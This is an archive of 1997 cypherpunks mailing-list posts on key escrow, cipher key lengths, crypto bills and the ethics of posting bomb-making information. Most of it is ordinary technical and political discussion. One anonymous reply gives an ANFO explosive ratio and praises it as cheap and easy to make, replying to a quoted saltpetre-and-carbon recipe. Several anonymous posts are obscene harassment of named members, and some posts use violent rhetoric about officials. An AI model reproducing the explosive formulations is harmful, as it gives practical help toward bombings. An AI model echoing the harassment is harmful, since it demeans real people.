> the issues where they don't add to the bottom line.

	I disagree with your analysis.  I'm working for a number of
large companies as a consultant.  At each of them, I think I've done
things that substantially imrpove customer privacy.  At one, I may
have sold them on role certificates "This certifies that the bearer
can access account 345567734545435."  As opposed to "This is John
Smith."  I think thats a huge win for privacy advocates, and hey, it
saves them work and money to do it this way.  I could not have
convinced these people by posting to cypherpunks.

	Selling your services does not involve selling out.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 23:44:57 +0800
To: cypherpunks@algebra.com
Subject: "How to Blow Up Buildings"
In-Reply-To: <gZJJ7D17w165w@bwalk.dm.com>
Message-ID: <v03007800af9e47041773@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:19 AM -0800 5/11/97, Declan McCullagh wrote:
>Here's another good idea for a cypherpunks project: *don't* use the
>Eternity Server to post even more bomb-making instructions all over the
>Web and Usenet.
>
>You might remember I wrote recently about the DoJ report released this
>month that calls for new legislation to ban bomb-making info online. Now
>Feinstein's office tells me she's going to introduce a bill.
>
>No need to throw red meat to the hounds.
>
>(Hmmm. Looking back at my message, I'm essentially saying "censor
>yourself or the government will." Not sure I like that argument.)

You've been in D.C. too long if you're falling for this line of reasoning.

"Book publishers: learn to restrain yourselves or the government will."

"Tom Paine: learn to censor yourself, or Ye Olde King surely will."

"Cypherpunks: hold back on discussions or the Ministry of Truth will shut
you down."

I can't believe Declan is calling for self-limitations on online
discussions of that which is freely available in books, on Web sites, and
(obviously) in government publications.

The proper response to those noting that bomb-making instructions are on
the Net is "So?"

--Tim May


--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Wed, 14 May 1997 12:30:55 +0800
To: cypherpunks@toad.com
Subject: unsafe SAFE:
Message-ID: <199705140419.VAA01203@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


according to http://www.news.com/News/Item/0,4,10604,00.html

                Kerrey's effort has one thing in common with the
                SAFE Act: It calls for the creation of an Information
                Security Board. The board proposal caused some
                privacy watchdogs to pull their endorsements of
                SAFE because it wouldn't have to comply with
                federal open-meeting act. 


Since a common hand has presumably been at work in both bills,
this looks like good cop / bad cop to me.

The good cop says, "I am your friend"

He is not your friend.

Create a federal board, and it will exercise power.

 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 00:30:59 +0800
To: cypherpunks@algebra.com
Subject: "The policeman inside"
In-Reply-To: <13510758714442@nac.net>
Message-ID: <v03007801af9e50fa6ea2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


First Declan, now Ray:

At 7:10 AM -0800 5/13/97, Ray Arachelian wrote:

>Hell, the nice bomb making spam too is also a bitch being posted here.
>One could give the poster the benefit of the doubt, but it smells quite
>of the tactics used by the Postal fiends that mail child porno to an
>unsuspecting citizen unit, then arrest that citizen unit upon receipt.
>Lets not give the evil onesof the government more horsemen to ride over
>us. :(

As ur-cyberpunk Burroughs noted, we must beware "the policeman inside."

Authorities _want_ people to "police themselves," to think twice before
speaking freely, to limit the topic of their conversations, and to
generally fear the knock on the door late at night (or, in fin de siecle
Amerika, the suddent appearance of black-clad ninja in one's bedroom at 4
a.m., shooting anything that moves).

Bomb-making information is protected by the First Amendment. Period.

So is crypto information. So is saying Congressmen are vermin who need to
be taken out and shot.

Get this straight, people!

(Now whether such opinions are to one's taste, or whether the Cypherpunks
list is a reasonable forum for posting bomb-making plans...well, that's a
completely different issue, one of taste and appropriateness, than the
calls by Declan and Ray that such messages are dangerous and could invite
retaliation by the Authorities. If that's indeed the case, then by all
means we should be posting bomb-making instructions and calls for treason
trials with street justice.)

Beware the policeman inside.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Avi Rubin <rubin@research.att.com>
Date: Tue, 13 May 1997 23:00:57 +0800
To: cypherpunks@toad.com
Subject: Announcing: a new John Wiley book on Web Security
Message-ID: <199705131345.JAA06712@mgoblue.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain



                 Announcing: The Web Security Sourcebook 
                        (John Wiley & Sons, Inc.)

                  by Avi Rubin, Dan Geer, Marcus Ranum

                       foreward by Steve Bellovin


A new book on all aspects of web security. More information can be 
found at http://www.clark.net/pub/mjr/websec/



*********************************************************************
Aviel D. Rubin                                 rubin@research.att.com
Secure Systems Research Dept.                Adjunct Professor at NYU
AT&T Research Labs
180 Park Avenue                   http://www.research.att.com/~rubin/
Florham Park, NJ 07932-0971                    Voice: +1 973 360-8356
USA                                            FAX:   +1 973 360-8809





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Tue, 13 May 1997 22:18:21 +0800
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis
Message-ID: <13510758714442@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Tue May 13 09:55:34 1997

> Dimi (Closet Homo) isa pimply old dweeb sitting at a  Xenix 286
> computer masturbating at his own imagined cleverness.
>  

This is the down side to anonymous remailers.. I think if you don't have 
the balls to say something, don't say it.

Obviously, someone is saying something they don't wan't other people to 
think they think..

I am, obviously, tired of adding filters to my mailbox.  Please knock off 
this bullshit.  I think whoever posted this is a pimply young asshole 
sitting on a c64 attempting to masturbate himself but can't find a 
microscope with high enough magnification.

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XEKQTMVdE2ehv2Q8PxygZhDI0L6sM6EgguvDWjJuGN4bIhxh22dAyNRJ7CVQsqwV
rj4TtkAuqUb0nyQvD2xUeJcB/O+1LCH7oFBE4EG1qEIl7asVjEURrfej7OwxRrA0
J0Lc5tZToA==
=tS4W
- -----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM3hy1qAC4xvMjGa1AQHocQf/Spz1KiQluhmediPl0Z8L7RwmJIbIW85+
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LYBRhTK1lxcMO1pkl9E8K4KF4UW/zRbkgfkCczVJHpeTkjTu7MuHKVxkeguugANt
iUQCTl8+eu5uHBt1GzrwBUwOgDZoOGtt+rFacBoBBbP8cXvibMZBn73BS/pEmApL
qY3OScaqz9CQ554m5fysA64zoI8wt4Y8pPtnz6lcv7l01yMJCH6I5FUOARHpe2YP
TObQL+c2QlRVkjpP7MJj7VtC2n7W5pD4G+Aj8qV+166WZHjT5jlQ8w==
=WZ6c
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 01:26:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Disinformation in L.A.
Message-ID: <199705131654.JAA22959@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


> Potassium nitrate is a natural byproduct of the decay of organic material.
> It is highly soluable in warm water, but at low temperatures (<10C) will
> quickly precipitate out and be displaced in solution by other salts, such
> as sodium chloride.  Extract by evaporation of water from chilled solution.
> Mix seven parts potassium nitrate with three parts carbon (coal).  Compact
> and ignite to produce explosion.

94% AN : 6% Fuel Oil (hence the abbr. ANFO) - more brisant than TNT, good
stability and sensitivity, cheap and easy to manufacture almost anywhere
worldwide in large quantities.  Thanks for playing - go get yourself
another encyclopedia.

BTW, have a friend post your obit. when you've blown your head off, fuck-up.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 13 May 1997 16:28:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970512230928.46454@bywater.songbird.com>
Message-ID: <Pine.NEB.3.95.970513093606.21416m-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 12 May 1997, Kent Crispin wrote:
> > What I meant was, you can make n-of-m hardware stuff for both cases.
> > Surely you don't disagree with that?
>
> I don't disagree that you *could* do it.  I think it unlikely that you
> would do it for the multiple recipient case.  I believe that in the
> MR case the master key(s) (especially if there are multiple master
> keys) would use exactly the same encryption algorithm as the normal
> encryption case.  That is the obvious, straightforward way to do it.
> If you use another encryption algorithm for the master then you have a
> whole raft of other problems to deal with.

You can have the same algorithm (visible at the user side) whether or
not you have special hardware for protecting the private half of the key
pair from exposure.

> > Finding out which key to encrypt to in the MR case is analagous to
> > finding out which key safe to talk to in the KS case.  Securing and
> > authenticating the channel to the key safe in the KS case is an
> > extra issue that does not have a counterpart in the MR case.
>
> ?? How do you know that the channel through which you get the master
> key in the MR case is secure?  You surely don't just pull it off the
> net.  It's signed?  Then the problem just recurses -- how do you
> know the signature is good?  This is exactly the problem you have
> contacting the keysafe.

Knowing the right key in the MR case is static information, analagous
to knowing the network address of the key safe in the KS case.  For
example, in the MR case, the key could be distributed on a floppy disk
along with the special software, while in the KS case the location
of the key safe could be so distributed.  OK, you also need a way of
changing the (MR) key or of moving the (KS) key safe, but that doesn't
happen often and similar issues would appear to arise in either case.

But in the KS case, there would also need to be a mechanism to protect
the channel between the user and the key safe every time the channel is
used, and that extra mechanism does not appear to have a counterpart in
the MR case.  Not really a big deal, but it is a whole extra protocol to
be designed.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 13 May 1997 23:03:49 +0800
To: cypherpunks@toad.com
Subject: e$: You get what you pay for
In-Reply-To: <3.0.32.19970512214932.006d4e8c@cnw.com>
Message-ID: <v030209aaaf9e0b4b01ca@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:50 am -0400 on 5/13/97, Blanc wrote:
> Robert Hettinga wrote:
>
> >Ah. A 90's version of Freddy Hayek's "Road to Serfdom", maybe?
> >A turn-of-the-new-century Phabian Society needs a Stalin to make it's
> >dreams reality?
> >
> >Be careful what you wish for, ladies and germs...
> .............................................................
>
>
> Well, now, what exactly do you mean?   How does this relate to bombing a
> village, with all its communists & captives, out of existence?

I was expanding on your riff, a bit, I guess.

I suppose that intellectual ruminations, including my own on occasion here
in cypherpunks, are all well and good, but when it comes time to put the
rubber to the road, or in flames around the oppressor's neck, or whatever,
people usually don't get what they think they want, um, other people to do
for them. Which is Hayek's point, as demonstrated by England's Phabian
Society, which probably did more to advance the cause of Stalin than Lenin
ever did. :-).

After such episodes of political "success", there is a *reason* most of us,
as the esteemed Mr. Townsend once said, "...get on [our] knees and pray we
don't get fooled again...".

I think that strong cryptography, especially strong financial cryptography,
is going to create a world we'll scarcely recognize in 100 years, or maybe
even 30 years. Not because of politically motivated violence, but of
economic necessity.


Yeah, I know. Economic necessity sometimes creates politically motivated
violence. And, at the heart of that is a paradox, as juicy a paradox as
well meaning victorian British socialists apologising in advance for the
behavior of a totalitarian Russian monster 50 years later.

When you think about it, the events of 1789 France, or post-Weimar Germany,
or even post-Tito (nee' Soviet) Yugoslavia, all came after the crises which
supposedly caused them were pretty much over, and people had the brainspace
to think about how pissed off they should be about it.

The Pelleponesian War was probably more about Athens slacking off her
Delian League repression (the introspective episode in intellectual
potlatch we now call the "golden age" of Athens) than her later genocidal
punishment of a vassal state for not coughing up the requisite League dues.

There was a study of  um, urban cub scouts, lately, which talked about how
it wasn't the *lack* of self-esteem which caused extremely violent gang
behavior, so much as it was, ironically, too *much* self-esteem. There's
nothing so self-confident as a 14 year old with an AK or a Mac10(?), as any
resident of Beruit, or Chicago, or Mogadishu, or Monrovia, or, now, Tirana,
will gladly tell you. Much hubris goes before the fall of domestic
tranquility. :-).


Anyway, when I'm prone to worry about such things, I think, depending on my
mood and the weather,  that either the government is getting so powerful
that we're going to have to fight back some day, or that it really isn't so
powerful anymore, and now the more cocky of us think we can stand up to it
and fight back in redress for its past sins, real and imaginary. Remember
that dear Uncle *has* demobilized considerably. Mr. McVeigh himself is
someone who would now be cheerfully blowing up things in Special Forces
practice somewhere, if he had more practice time and running room at the
selection process before he was economically demobilized after his heroic
exploits in Kuwait.


One of the fun consequences of having a large standing army, of course, is
what do you do with the, um, standees, when you can't afford to feed and
train them any more. I'd bet that a large percentage of the Russian "Mafia"
are former soldiers, and certainly spook/torturers, just doing what comes
naturally.

In this regard, I think that America lucked out after WWII because lots of
its sharply increased industrial, um, womanpower, could step aside so
Johnny could come marching home to a job in the factory down the street.
The GI bill mopped up the rest of the slack(ers) by putting the brighter
and more easily bored safely away in college for a few years :-). In a few
years, everyone had a wife, 2.2 kids and a mortgage to worry about instead
of the injustice of encroaching government power. Problem solved.

We may be reaping what we've sown after the 50-Year War with Russia,
though. This time it may not be so easy, because people like Mr. McVeigh
are not people who went off to fight a war to return immediately after the
shooting stopped, but, people who, like our politicians, are now
careerists. Lifers. Empire builders, in the truest sense of the phrase.
People who, it now appears, are as pissed off at dear Uncle as the rest of
us are, though for different reasons, all their manifestoes and
rationalizations to the contrary.

Unfortunately, we can't use the economic rent we've beaten out of the rest
of the world this time to put them to work at something else, especially
because no matter what we hire them for, it isn't the thing they were
selected and trained over a lifetime to do. More to the point, something
they expected to do for the rest of their working lives.

Oh, well. Life is hard. Sometimes you don't get what you want, to
paraphrase a fellow tradesman of Mr. Townsend. Or, as my nephews' governess
used to say, sometimes you don't have to wanna. So, though I'm not to the
"beware soft targets" stage yet, it's good advice in almost any age, and
should be paid attention to.


Finally, my own hope for stuff like financial cryptography in this regard
is that it will make so much money, wringing the required economic rent out
of progress rather than the comparative devastation of the rest of the
world, that we'll be able to "bribe" all those demobilized spooks and
soldiers to leave us alone, much the same way that Harry and Ike did with
the creation of the middle-class entitlement state. Without, of course, the
"state" part.

I think that such hopes are at least justified. History has shown us that
there is nothing like a whole bunch of technological and economic progress
to focus people on better stuff than blowing up themselves and their
enemies. Modulo the odd paradox, of course.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 14 May 1997 01:31:45 +0800
To: cypherpunks@toad.com
Subject: test 10:10 am PDT ignore cp@toad
Message-ID: <3.0.1.32.19970513100942.005f1f40@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 14 May 1997 01:25:47 +0800
To: cypherpunks@cyberpass.net
Subject: test cp@cyberpass.net 10:10a pdt ignore
Message-ID: <3.0.1.32.19970513101014.005f5f98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 14 May 1997 01:32:47 +0800
To: cypherpunks@algebra.com
Subject: test cp@algebra.com 10:10a pdt ignore
Message-ID: <3.0.1.32.19970513101035.005f7868@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 14 May 1997 00:49:56 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Digital signatures
In-Reply-To: <199705122154.OAA10465@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970513102344.53514D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 12 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Timmy May's family tree goes straight up. All of his ancestors 
> were siblings, to dumb to recognize each other in the dark.
> 
>         _  o
>        |<)_/# Timmy May
>        TT  <T
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sidney R. Phillips" <srp3651@hsct22.ca.boeing.com>
Date: Wed, 14 May 1997 01:35:15 +0800
To: cypherpunks@algebra.com
Subject: Printers are munitions?
Message-ID: <3378A3E5.41C6@hsct22.ca.boeing.com>
MIME-Version: 1.0
Content-Type: text/plain


Last Sunday on The Learning Channel there was a somewhat silly program
on information
warfare.  One thing which caught my attention however, was a claim by
Win Schwartau
(of inforwar fame) that NSA had placed narrow band transmitters in
printers which
wound up in air defense sites in Iraq.  Subsequently the transmissions
were used
for targeting durring the gulf war.  Has anyone heard of a separate
source for this?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 01:50:43 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] Secure envelopes
Message-ID: <199705131728.KAA25098@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[ocksucker] May carries a turd in his wallet for 
identification purposes.

    _@_
   /   \
  | o o |
-U|--U--|U-- Tim C[ocksucker] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Wed, 14 May 1997 02:51:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: `careerpunks'
Message-ID: <199705131739.KAA29311@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back, <aba@dcs.ex.ac.uk>, writes:
> In trying to figure out which lists were working, I noticed that there
> are now many more people on coderpunks and cryptography than there are
> on cypherpunks... take a look at these figures:
>
>   713 cryptography@c2.net
>   713 coderpunks@toad.com
>   245 cypherpunks@algebra.com + cypherpunks@cyberpass.net - duplicates

Coderpunks has not been very active, I think (although I don't always
notice which messages come from which lists).  Perry Metzger's moderated
cryptography@c2.net has had some good discussions lately, including
contributions from such people as Carl Ellison and Matt Blaze.  There
was an interesting proposal from James Donald for a possible approach
to what they are calling CACK, "Corporate Access to Corporate Keys",
without facilitating GAK, "Government Access to Keys".

The cypherpunks list continues to have the edge in political commentary
and bomb-making instructions. :-)

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 02:01:57 +0800
To: "Sidney R. Phillips" <cypherpunks@algebra.com
Subject: Re: Printers are munitions?
In-Reply-To: <3378A3E5.41C6@hsct22.ca.boeing.com>
Message-ID: <v03007800af9e675d4ff2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:24 AM -0800 5/13/97, Sidney R. Phillips wrote:
>Last Sunday on The Learning Channel there was a somewhat silly program
>on information
>warfare.  One thing which caught my attention however, was a claim by
>Win Schwartau
>(of inforwar fame) that NSA had placed narrow band transmitters in
>printers which
>wound up in air defense sites in Iraq.  Subsequently the transmissions
>were used
>for targeting durring the gulf war.  Has anyone heard of a separate
>source for this?

I don't know the context of these precise points, but the "printers sent to
Iraq had viruses in them" story was widely reported several years ago.

Except it turns out the stories all were rip-offs and repetitions, from all
appearances, of a story which ran in "Infoworld."

And except that the story in "Infoworld" was the April 1st edition. That so
many journalists repeated this as the "opening shot in I-War" says a lot
about the state of cyber-journalism.

As for transmitters in printers, this sounds like a variant. Plus, I
wouldn't think there was enough time between the start of the buildup of
the U.S. response and the air attacks for the plan to be hatched, for the
Iraqis to place and receive orders, etc. And the chance of some random
printer ending up in an air defense station seems unlikely. And so on.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 14 May 1997 02:22:48 +0800
To: cypherpunks@toad.com
Subject: Real Terrorism
In-Reply-To: <199705111714.NAA21881@dhp.com>
Message-ID: <3.0.1.32.19970513105933.00620c90@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:14 PM 5/11/97 -0400, lucifer Anonymous Remailer wrote:
> AMMONIUM TRIIODIDE CRYSTALS
Sigh.  Terror isn't our business, and any handbook that
can't tell ammonium tri-iodide from nitrogen tri-iodide
is more dangerous to its readers than anyone else.

If you _really_ wanted to scare governments,
you'd start publishing papers saying things like

	AMENDMENT 1 - Congress shall make no law ......

or
	n = p*q , p and q prime.
	c = m ** e mod n



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Tue, 13 May 1997 23:29:25 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: The War is Underway (fwd)
In-Reply-To: <199705131154.HAA20161@homeport.org>
Message-ID: <Pine.SUN.3.96.970513104902.9012W-100000@polaris.mindport.net>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, Adam Shostack wrote:

> Black Unicorn wrote:
> 
> | > Systems that use randomly generated keys are
> | > limited only by the amount of available entropy, but then the passphrase
> | > security to encrypt the secret key or physical security become important.
> | > Using excessively long keys does not do much for security, as there are
> | > always going to be weaker links that an attacker can take advantage of.
> | > It doesn't hurt to use a 256-bit key, or larger, but it doesn't do much
> | > good, either.
> | 
> | Again, you have taken an important concept, total security, and reversed
> | it.  Instead of aiming to make each link as strong as possible, you have
> | aimed to design around the weakest link.
> | 
> | This is a serious mistake in my view.
> 
> 	I disagree with your approach.  In the real world, budgets are
> limited, time is limited, the pool of really decent people on any
> given project is small.  Fixing or strengthening the weakest link is
> my usual approach to these things.  Not as nice as having a
> bulletproof design from the start, but there aren't enough smart
> cypherpunks out there consulting.  (More on that in another post.)

I conceed this general point, but in context it does not stand up.
Specifically we were referring to the trade off between cipher keylength
and password size.

It was proposed that because people were unlikely to deal with passwords
large enough to fill the key with e.g., 128 bits of entropy, that it was
worthless to bother with 128 bit symetric ciphers.  I find this a hard
position to support.

> 
> | It costs little today to develop a cipher with larger keyspace.  (DES with
> | independent subkeys already exists and has a basic keyspace of 768 bits.
> | A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
> | the cipher briefly).  If users are willing to deal with large keys (I
> | certainly am) then software designers are restraining a more secure
> | implementation.
> 
> 	It takes an academic cryptographer about 6 months to develop a
> cipher.  Most academics don't see a point to moving beyond the 448
> bits available in Blowfish.

Ok, where are the 256+ bit blowfish implementations?

> Adam
> 
> -- 
> "It is seldom that liberty of any kind is lost all at once."
> 					               -Hume

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland
Rebel Directive #7:Avoid soccer games when a government assault threatens.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 13 May 1997 23:34:12 +0800
To: The Spectre <spectre@nac.net>
Subject: Enough of this shit already!
In-Reply-To: <13510758714442@nac.net>
Message-ID: <Pine.SUN.3.91.970513110309.5776E-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, The Spectre wrote:

> To: cypherpunks@toad.com
> Date: Tue May 13 09:55:34 1997
> 
> > Dimi (Closet Homo) isa pimply old dweeb sitting at a  Xenix 286
> > computer masturbating at his own imagined cleverness.
> >  
> 
> This is the down side to anonymous remailers.. I think if you don't have 
> the balls to say something, don't say it.
> 
> Obviously, someone is saying something they don't wan't other people to 
> think they think..
> 
> I am, obviously, tired of adding filters to my mailbox.  Please knock off 
> this bullshit.  I think whoever posted this is a pimply young asshole 
> sitting on a c64 attempting to masturbate himself but can't find a 
> microscope with high enough magnification.

Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a 
doctorate from the KGB, I'm tired of these spams.  Yes, they include the 
ones that IMHO come from Vulis, the ones to which Graham replies, the 
anonymous ones that reply to Graham, the permutations of them that 
spam Toto, and these.  :(

If you want to rag on Tim or Vulis, please do so, but not by setting up 
spam bots.  Granted some of those are funny the first time you see them, 
but automating them makes them as welcome as listening to an annoying fly 
buzzing over and over in your face.

Hell, the nice bomb making spam too is also a bitch being posted here.  
One could give the poster the benefit of the doubt, but it smells quite 
of the tactics used by the Postal fiends that mail child porno to an 
unsuspecting citizen unit, then arrest that citizen unit upon receipt.  
Lets not give the evil onesof the government more horsemen to ride over 
us. :(  A url to the stuff and a summary would have sufficed.  (And I'll 
restrain myself from saying that this was done by Vulis, though IMHO, it 
smells of his style of spam. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 13 May 1997 23:37:20 +0800
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970512134334.0096fca0@gateway.grumman.com>
Message-ID: <Pine.SUN.3.91.970513112001.5776H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 12 May 1997, Rick Osborne wrote:

> Microsoft (and I can't believe I'm saying this) actually is doing it right
> for a change: when you sign up to be a part of any of their "clubs" (SBN,
> etc), you get asked if you want to receive further mail.

<FLAME: Climing on anti Microsoft Sandbox>

Erm, mayhaps, but they haven't lost their evil touch yet.  In recent news 
Borland is suing them for raiding their employees. :(  (Borland made the 
best intel compilers I've ever seen in terms of both compile speed and 
resulting code...  Microsoft has done everything in their power to crush 
this competitior including forcing them to give up ObjWin so for MFC 
inclusion.)  Nasty bastards.

</FLAME>

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
